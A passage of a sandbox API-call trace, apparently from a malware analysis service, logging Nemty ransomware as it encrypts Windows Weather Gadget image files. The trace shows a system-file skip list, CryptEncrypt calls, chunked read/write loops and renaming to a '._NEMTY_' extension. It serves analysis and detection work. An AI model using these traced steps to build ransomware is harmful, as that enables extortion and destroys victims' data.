lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.449] CloseHandle (hObject=0xffffffff) returned 0 [0165.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0165.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0165.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0165.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0165.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_cloudy.png._nemty_kgobjgd_")) returned 0 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.450] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30b44c27, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6d83, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_few-showers.png", cAlternateFileName="")) returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2=".") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="..") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="...") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="windows") returned -1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="$RECYCLE.BIN") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="rsa") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="NTDETECT.COM") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="ntldr") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="MSDOS.SYS") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="IO.SYS") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="boot.ini") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="boot.ini") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="ntuser.dat") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="desktop.ini") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="CONFIG.SYS") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="RECYCLER") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="BOOTSECT.BAK") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="bootmgr") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="programdata") returned 1 [0165.450] lstrcmpiW (lpString1="undocked_black_few-showers.png", lpString2="appdata") returned 1 [0165.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 30 [0165.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0165.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 30 [0165.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0165.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 30 [0165.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_few-showers.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 30 [0165.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0165.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0165.451] Sleep (dwMilliseconds=0x5) [0165.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1645dd50, dwHighDateTime=0x1d561e8)) [0165.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1645dd50, dwHighDateTime=0x1d561e8)) [0165.467] GetLastError () returned 0x5 [0165.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.467] GetLastError () returned 0x5 [0165.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.467] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0165.467] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="pN2uVB9Zrl/o6E1IS4eyJrM6uaibQ04YNFsBc/4D4hVd2gPRc1+WrTWaPkyZZF7J\r\nTbeWvJ7l3L3yOpMhGK7pLrhUAbi6dfTubayZeHiAAX4fDzRFfv2PrByDquUCW0d6\r\nlNJIg6hosxKd79kFT5EOSxjSw38oSG5hVg2OMU6a2UQH5JDlpGn/gAddfvqXH0Hg\r\nUv4E0s4sIxMC5FydNQGGFtdM7DEwzwBsAMJYJWlZEK0mNGfQPW8zc4Ypl2lnOiDF\r\nhffvXkRIv2rWE2d7zI9FRuokL6XZehMpKxVfq7Jpph7zlN6VDhQyIWACaCUkoBKo\r\nJXnwu/4X1joHdAOZctG2Yg==\r\n", pcchString=0x653e91c) returned 1 [0165.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0165.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0165.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.468] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_few-showers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.468] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, 